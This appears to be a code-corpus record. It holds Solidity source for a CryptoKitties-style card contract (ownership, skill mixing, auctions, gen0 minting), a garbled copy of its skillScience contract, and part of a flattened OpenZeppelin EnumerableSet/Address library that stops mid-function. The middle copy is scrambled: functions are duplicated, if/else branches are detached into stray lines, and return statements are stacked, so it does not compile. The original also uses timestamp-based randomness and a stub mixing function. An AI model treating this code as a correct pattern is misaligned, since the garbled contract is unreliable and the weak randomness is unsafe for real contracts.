// @dev Required for ERC721 compliance.
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any Cards (except very briefly
// after a gen0 card is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
// @notice Returns the total number of Cards currently in existence.
// @dev Required for ERC721 compliance.
function totalSupply() public view returns (uint) {
return cards.length;
}
// @notice Returns the address currently assigned ownership of a given Card.
// @dev Required for ERC721 compliance.
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = cardIndexToOwner[_tokenId];
require(owner != address(0));
}
// @notice Returns a list of all Card IDs assigned to an address.
// @param _owner The owner whose Cards we are interested in.
// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
// expensive (it walks the intire Card array looking for Cards belonging to owner),
// but it also returns a dynamic array, which is only supported for web3 calls, and
// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCards = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cats have IDs starting at 1 and increasing
// sequentially up to the totalCard count
uint256 cardId;
for (cardId = 0; cardId <= totalCards; cardId++) {
if (cardIndexToOwner[cardId] == _owner) {
result[resultIndex] = cardId;
resultIndex++;
}
}
return result;
}
}
// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>)
// This method is licenced under the Apache License.
// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _memcpy(uint _dest, uint _src, uint _len) private view {
// Copy word-length chuncks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>)
// This method is licensed under the Apache License.
// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _toString(bytes[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
}
contract skillScience {
// @dev Number of times to loop through various skills
uint256 public numLoops;
// Array containing trait strings for easy referencing
uint128[] public traitStrings;
// Define array to mask skills string to extract appropriate attributes
function maskArray() internal {
// Starting point
uint128 baseMask = 0xFFFF0000000000000000000000000000;
for(uint256 i = 0; i < numLoops; i++) {
uint128 thisMask = baseMask >> (4 * i);
traitStrings.push(thisMask);
}
}
// Constructor for SkillScience -- initializes array (so far)
function skillScience(uint256 _numLoops) public {
// make sure numLoops is not too large
//require(numLoops == uint256(uint32(_numLoops)));
numLoops = _numLoops;
maskArray();
}
function _mixSkills(uint128 _skills1, uint128 _skills2) internal returns (uint128) {
// Arrays which will hold values of each trait for both 'ingredients'
uint16[] memory firstTraitVals = new uint16[](numLoops);
uint16[] memory secondTraitVals = new uint16[](numLoops);
// New array of skills
uint16[] memory newTraitVals = new uint16[](numLoops);
uint128 newSkills;
uint256 timeStamp = now;
firstTraitVals = defineTraitVals(_skills1);
secondTraitVals = defineTraitVals(_skills2);
// Loop through parent attributes to generate new spawned card traits
for(uint256 i = 0; i < numLoops; i++) {
uint256 nowHash = uint256(keccak256(timeStamp + i));
uint256 index = myRand(0, 7, nowHash);
if(index < 5) {
newTraitVals[index] = baseSkillMix(index, nowHash, firstTraitVals, secondTraitVals);
} else {
newTraitVals[index] = traitChoose(index, nowHash, firstTraitVals, secondTraitVals);
}
}
newSkills = combine(newTraitVals);
return newSkills;
}
function defineTraitVals(uint128 _skills) internal view returns(uint16[]) {
uint16[] memory vals = new uint16[](8);
for(uint256 i = 0; i < 8; i++){
uint128 _mask = traitStrings[i];
uint16 thisTrait = uint16((_skills & _mask) >> 4*(7 - i));
vals[i] = thisTrait;
}
return vals;
}
// Create new skill string from newTraitVals array
function combine(uint16[] memory newTraitVals) internal view returns(uint128) {
uint128 _newSkills = 0;
for(uint256 i = 0; i < 8; i++) {
uint128 preShift = uint128(newTraitVals[i]);
_newSkills += preShift << 4 * (7 - i);
}
return _newSkills;
}
function baseSkillMix(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16){
uint256 outcome = myRand(0, 3, thisHash % 1009);
if(outcome == 0){
return ++firstTraitVals[ind];
} else if(outcome == 1) {
return --firstTraitVals[ind];
} else if(outcome == 2) {
return ++secondTraitVals[ind];
} else {
return --secondTraitVals[ind];
}
}
function traitChoose(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16) {
uint256 outcome = myRand(0, 2, thisHash % 1009);
if(outcome == 0){
return firstTraitVals[ind];
} else if(outcome == 1) {
return firstTraitVals[ind];
} else {
return 0;
}
}
/* ************************************
Insert Description stuff here
************************************** */
// Returns an integer x such that low <= x <= high
function myRand(uint256 low, uint256 high, uint256 myHash) internal returns(uint256) {
// Ensure no negative values or mod(0) operations
require(high > low);
uint256 modVal = high - low + 1;
uint256 result = low + (myHash % modVal);
return result;
}
}
contract SkillScienceInterface is skillScience{
function SkillScienceInterface(uint256 _numLoops) public
skillScience(_numLoops){}
function isSkillScience() public pure returns (bool) {
return true;
}
function mixSkills(uint128 skills1, uint128 skills2) public returns (uint128) {
return 2;
}
}
contract CardCombining is CardOwnership {
event Combining(address owner, uint256 firstIngredientId, uint256 secondIngredientId);
event AutoCombine(uint256 cardId, uint256 cooldownEndBlock);
uint256 public autoCombineFee = 1000000 * 1000000000; // (1M * 1 gwei)
// Keeps track of number of combining cards
uint256 public combiningCards;
SkillScienceInterface public skillScience;
function setSkillScienceAddress(address _address) public onlyCEO {
SkillScienceInterface candidateContract = SkillScienceInterface(_address);
require(candidateContract.isSkillScience());
skillScience = candidateContract;
}
function _isReadyToCombine(Card _card) internal view returns (bool) {
return (_card.combiningWithId == 0) && (_card.cooldownEndBlock <= uint64(block.number));
}
function _isCombiningPermitted(uint256 _firstIngredientId, uint256 _secondIngredientId) internal view returns (bool) {
address cardOwner = cardIndexToOwner[_firstIngredientId];
address secondCardOwner = cardIndexToOwner[_secondIngredientId];
return (cardOwner == secondCardOwner);
}
function _triggerCooldown(Card storage _card) internal {
_card.cooldownEndBlock = uint64((cooldowns[_card.cooldownIndex] / secondsPerBlock) + block.number);
if(_card.cooldownIndex < 13) {
_card.cooldownIndex += 1;
}
}
function setAutoCombineFee(uint256 val) public onlyCOO {
autoCombineFee = val;
}
// Check to see if the cards are combining and the time period has passed
function _isReadyToSpawn(Card _card) private view returns (bool) {
return (_card.combiningWithId != 0) && (_card.cooldownEndBlock <= now);
}
// Checks that the given card is able to breed, ie not currently combining or in cooldown
function isReadyToCombine(uint256 _cardId)
public
view
returns (bool)
{
require(_cardId > 0);
Card storage card = cards[_cardId];
return _isReadyToCombine(card);
}
function _isValidCombination(
Card storage _firstIngredient,
uint256 _firstIngredientId,
Card storage _secondIngredient,
uint256 _secondIngredientId
)
private
view
returns(bool)
{
// Can't combine card with itself!
if (_firstIngredientId == _secondIngredientId) {
return false;
}
// Allow combination if either are gen 0
if(_firstIngredient.firstIngredientId == 0 || _secondIngredient.firstIngredientId == 0) {
return true;
}
return true;
}
function canCombineWith(uint256 _firstIngredientId, uint256 _secondIngredientId)
public
view
returns(bool)
{
require(_firstIngredientId >= 0);
require(_secondIngredientId >= 0);
Card storage firstIngredient = cards[_firstIngredientId];
Card storage secondIngredient = cards[_secondIngredientId];
return _isValidCombination(firstIngredient, _firstIngredientId, secondIngredient, _secondIngredientId);
}
function combineWith(uint256 _firstIngredientId, uint256 _secondIngredientId) public whenNotPaused {
require(_owns(msg.sender, _firstIngredientId));
require(_isCombiningPermitted(_firstIngredientId, _secondIngredientId));
Card storage firstIngredient = cards[_firstIngredientId];
require(_isReadyToCombine(firstIngredient));
Card storage secondIngredient = cards[_secondIngredientId];
require(_isReadyToCombine(secondIngredient));
require(_isValidCombination(
firstIngredient,
_firstIngredientId,
secondIngredient,
_secondIngredientId
));
// All checks passed, card gets pregnant!
_combineWith(_firstIngredientId, _secondIngredientId);
}
function _combineWith(uint256 _firstIngredientId, uint256 _secondIngredientId) internal {
Card storage firstIngredient = cards[_firstIngredientId];
Card storage secondIngredient = cards[_secondIngredientId];
firstIngredient.combiningWithId = uint32(_secondIngredientId);
_triggerCooldown(firstIngredient);
_triggerCooldown(secondIngredient);
// Every time a card combines, counter is incremented
combiningCards++;
Combining(cardIndexToOwner[_firstIngredientId], _firstIngredientId, _secondIngredientId);
}
function spawnCard(uint256 _firstIngredientId)
public
whenNotPaused
returns(uint256)
{
Card storage firstIngredient = cards[_firstIngredientId];
require(firstIngredient.spawnTime != 0);
require(_isReadyToSpawn(firstIngredient));
uint256 secondIngredientId = firstIngredient.combiningWithId;
Card storage secondIngredient = cards[secondIngredientId];
uint newGen = firstIngredient.generation;
if (secondIngredient.generation > firstIngredient.generation) {
newGen = secondIngredient.generation;
}
uint256 newCardSkills = skillScience.mixSkills(firstIngredient.skills, secondIngredient.skills);
address owner = cardIndexToOwner[_firstIngredientId];
uint256 cardId = _createCard(newCardSkills, firstIngredient.name, _firstIngredientId, firstIngredient.combiningWithId, newGen + 1, owner);
delete firstIngredient.combiningWithId;
// Every time card spawns, counter is decremented.
combiningCards--;
return cardId;
}
}
contract CardAuction is CardCombining {
// @notice The auction contract variables are defined in CryptoCardsBase to allow
// us to refer to them in CardOwnership to prevent accidental transfers.
// @dev Sets the reference to the sale auction.
// @param _address - Address of sale contract.
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
// NOTE: Verify that a contract is what we expect
require(candidateContract.isSaleClockAuction());
// Set the new contract address
saleAuction = candidateContract;
}
// @dev Put a kitty up for auction.
// Does some ownership trickery to create auctions in one tx.
function createSaleAuction(
uint256 _cardId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If card is already on any auction, this will throw
// becuase it will be owned by the auction contract.
require(_owns(msg.sender, _cardId));
_approve(_cardId, saleAuction);
// Sale auction throws if inputs are invalid and clears
// transfer approval after escrowing the card
saleAuction.createAuction(
_cardId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
}
contract CardMinting is CardAuction {
// Constants for gen0 auctions.
// DANGER CHANGED THESE CONSTANTS
uint256 public constant GEN0_STARTING_PRICE = 1 wei;
uint256 public constant GEN0_AUCTION_DURATION = 1 days;
// Counts the number of cards the contract owner has created.
uint256 public gen0CreatedCount;
// @dev Creates a new gen0 card with the given skills and
// creates an auction for it.
function createGen0Auction(uint128 _skills, bytes32 _name) external onlyCLevel {
uint256 cardId = _createCard(_skills, _name, 0, 0, 0, address(this));
_approve(cardId, saleAuction);
saleAuction.createAuction(
cardId,
_computeNextGen0Price(),
0,
GEN0_AUCTION_DURATION,
address(this)
);
gen0CreatedCount++;
}
// @dev Computes the next gen0 auction starting price, given
// the average of the past 5 prices + 50%
function _computeNextGen0Price() internal view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
// Sanity check to ensure we don't overflow arithmetic
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
// We never auction for less than starting price
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
contract CryptoCardsCore is CardMinting {
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
// @notice Creates the main CryptoKitties smart contract instance.
function CryptoCardsCore() public payable {
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = msg.sender;
// the creator of the contract is also the intial COO
cooAddress = msg.sender;
}
// @notice No tipping!
// @dev Reject all Ether from being sent here, unless it's from one of the
// two auction contracts. (Hopefully, we can prevent user accidents.)
function() external payable {
require(
msg.sender == address(saleAuction)
);
}
// @notice Returns all the relevant info about a specific card.
// @param _id The ID of the card of interest.
function getCard(uint256 _id) external view returns (
bool isCombining,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 combiningWithId,
uint256 spawnTime,
uint256 firstIngredientId,
uint256 secondIngredientId,
uint256 generation,
uint256 skills,
bytes32 name
) {
Card storage card = cards[_id];
isCombining = (card.combiningWithId != 0);
isReady = (card.cooldownEndBlock <= block.number);
cooldownIndex = uint256(card.cooldownIndex);
nextActionAt = uint256(card.cooldownEndBlock);
combiningWithId = uint256(card.combiningWithId);
spawnTime = uint256(card.spawnTime);
firstIngredientId = uint256(card.firstIngredientId);
secondIngredientId = uint256(card.secondIngredientId);
generation = uint256(card.generation);
skills = uint256(card.skills);
name = card.name;
}
// @dev Override unpause so it requires all external contract addresses
// to be set before contract can be unpaused. Also, we can't have
// newContractAddress set either, because then the contract was upgraded.
// @notice This is public rather than external so we can call super.unpause
// without using an expensive CALL.
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(newContractAddress == address(0));
require(skillScience != address(0));
// Actually unpause the contract.
super.unpause();
}
// @dev Allows the CEO to capture the balance available to the contract.
function withdrawBalance() external onlyCEO {
uint256 balance = this.balance;
// Subtract all the currently combining cards, plus 1 of margin.
uint256 subtractFees = (combiningCards + 1) * autoCombineFee;
if (balance > subtractFees) {
ceoAddress.transfer(balance - subtractFees);
}
}
}
|
@dev Number of times to loop through various skills Array containing trait strings for easy referencing Define array to mask skills string to extract appropriate attributes
|
contract skillScience {
uint256 public numLoops;
uint128[] public traitStrings;
function maskArray() internal {
uint128 baseMask = 0xFFFF0000000000000000000000000000;
for(uint256 i = 0; i < numLoops; i++) {
uint128 thisMask = baseMask >> (4 * i);
traitStrings.push(thisMask);
}
}
function maskArray() internal {
uint128 baseMask = 0xFFFF0000000000000000000000000000;
for(uint256 i = 0; i < numLoops; i++) {
uint128 thisMask = baseMask >> (4 * i);
traitStrings.push(thisMask);
}
}
function skillScience(uint256 _numLoops) public {
numLoops = _numLoops;
maskArray();
}
function _mixSkills(uint128 _skills1, uint128 _skills2) internal returns (uint128) {
uint16[] memory firstTraitVals = new uint16[](numLoops);
uint16[] memory secondTraitVals = new uint16[](numLoops);
uint16[] memory newTraitVals = new uint16[](numLoops);
uint128 newSkills;
uint256 timeStamp = now;
firstTraitVals = defineTraitVals(_skills1);
secondTraitVals = defineTraitVals(_skills2);
for(uint256 i = 0; i < numLoops; i++) {
uint256 nowHash = uint256(keccak256(timeStamp + i));
uint256 index = myRand(0, 7, nowHash);
if(index < 5) {
newTraitVals[index] = baseSkillMix(index, nowHash, firstTraitVals, secondTraitVals);
newTraitVals[index] = traitChoose(index, nowHash, firstTraitVals, secondTraitVals);
}
}
newSkills = combine(newTraitVals);
return newSkills;
}
function _mixSkills(uint128 _skills1, uint128 _skills2) internal returns (uint128) {
uint16[] memory firstTraitVals = new uint16[](numLoops);
uint16[] memory secondTraitVals = new uint16[](numLoops);
uint16[] memory newTraitVals = new uint16[](numLoops);
uint128 newSkills;
uint256 timeStamp = now;
firstTraitVals = defineTraitVals(_skills1);
secondTraitVals = defineTraitVals(_skills2);
for(uint256 i = 0; i < numLoops; i++) {
uint256 nowHash = uint256(keccak256(timeStamp + i));
uint256 index = myRand(0, 7, nowHash);
if(index < 5) {
newTraitVals[index] = baseSkillMix(index, nowHash, firstTraitVals, secondTraitVals);
newTraitVals[index] = traitChoose(index, nowHash, firstTraitVals, secondTraitVals);
}
}
newSkills = combine(newTraitVals);
return newSkills;
}
function _mixSkills(uint128 _skills1, uint128 _skills2) internal returns (uint128) {
uint16[] memory firstTraitVals = new uint16[](numLoops);
uint16[] memory secondTraitVals = new uint16[](numLoops);
uint16[] memory newTraitVals = new uint16[](numLoops);
uint128 newSkills;
uint256 timeStamp = now;
firstTraitVals = defineTraitVals(_skills1);
secondTraitVals = defineTraitVals(_skills2);
for(uint256 i = 0; i < numLoops; i++) {
uint256 nowHash = uint256(keccak256(timeStamp + i));
uint256 index = myRand(0, 7, nowHash);
if(index < 5) {
newTraitVals[index] = baseSkillMix(index, nowHash, firstTraitVals, secondTraitVals);
newTraitVals[index] = traitChoose(index, nowHash, firstTraitVals, secondTraitVals);
}
}
newSkills = combine(newTraitVals);
return newSkills;
}
} else {
function defineTraitVals(uint128 _skills) internal view returns(uint16[]) {
uint16[] memory vals = new uint16[](8);
for(uint256 i = 0; i < 8; i++){
uint128 _mask = traitStrings[i];
uint16 thisTrait = uint16((_skills & _mask) >> 4*(7 - i));
vals[i] = thisTrait;
}
return vals;
}
function defineTraitVals(uint128 _skills) internal view returns(uint16[]) {
uint16[] memory vals = new uint16[](8);
for(uint256 i = 0; i < 8; i++){
uint128 _mask = traitStrings[i];
uint16 thisTrait = uint16((_skills & _mask) >> 4*(7 - i));
vals[i] = thisTrait;
}
return vals;
}
function combine(uint16[] memory newTraitVals) internal view returns(uint128) {
uint128 _newSkills = 0;
for(uint256 i = 0; i < 8; i++) {
uint128 preShift = uint128(newTraitVals[i]);
_newSkills += preShift << 4 * (7 - i);
}
return _newSkills;
}
function combine(uint16[] memory newTraitVals) internal view returns(uint128) {
uint128 _newSkills = 0;
for(uint256 i = 0; i < 8; i++) {
uint128 preShift = uint128(newTraitVals[i]);
_newSkills += preShift << 4 * (7 - i);
}
return _newSkills;
}
function baseSkillMix(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16){
uint256 outcome = myRand(0, 3, thisHash % 1009);
if(outcome == 0){
return ++firstTraitVals[ind];
return --firstTraitVals[ind];
return ++secondTraitVals[ind];
return --secondTraitVals[ind];
}
}
function baseSkillMix(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16){
uint256 outcome = myRand(0, 3, thisHash % 1009);
if(outcome == 0){
return ++firstTraitVals[ind];
return --firstTraitVals[ind];
return ++secondTraitVals[ind];
return --secondTraitVals[ind];
}
}
} else if(outcome == 1) {
} else if(outcome == 2) {
} else {
function traitChoose(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16) {
uint256 outcome = myRand(0, 2, thisHash % 1009);
if(outcome == 0){
return firstTraitVals[ind];
return firstTraitVals[ind];
return 0;
}
}
Insert Description stuff here
function traitChoose(uint256 ind, uint256 thisHash, uint16[] memory firstTraitVals, uint16[] memory secondTraitVals) internal returns (uint16) {
uint256 outcome = myRand(0, 2, thisHash % 1009);
if(outcome == 0){
return firstTraitVals[ind];
return firstTraitVals[ind];
return 0;
}
}
Insert Description stuff here
} else if(outcome == 1) {
} else {
function myRand(uint256 low, uint256 high, uint256 myHash) internal returns(uint256) {
require(high > low);
uint256 modVal = high - low + 1;
uint256 result = low + (myHash % modVal);
return result;
}
}
| 12,984,896
|
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// Sources flattened with hardhat v2.9.3 https://hardhat.org
// File @openzeppelin/contracts/utils/EnumerableSet.sol@v3.4.1
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File @openzeppelin/contracts/utils/Address.sol@v3.4.1
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
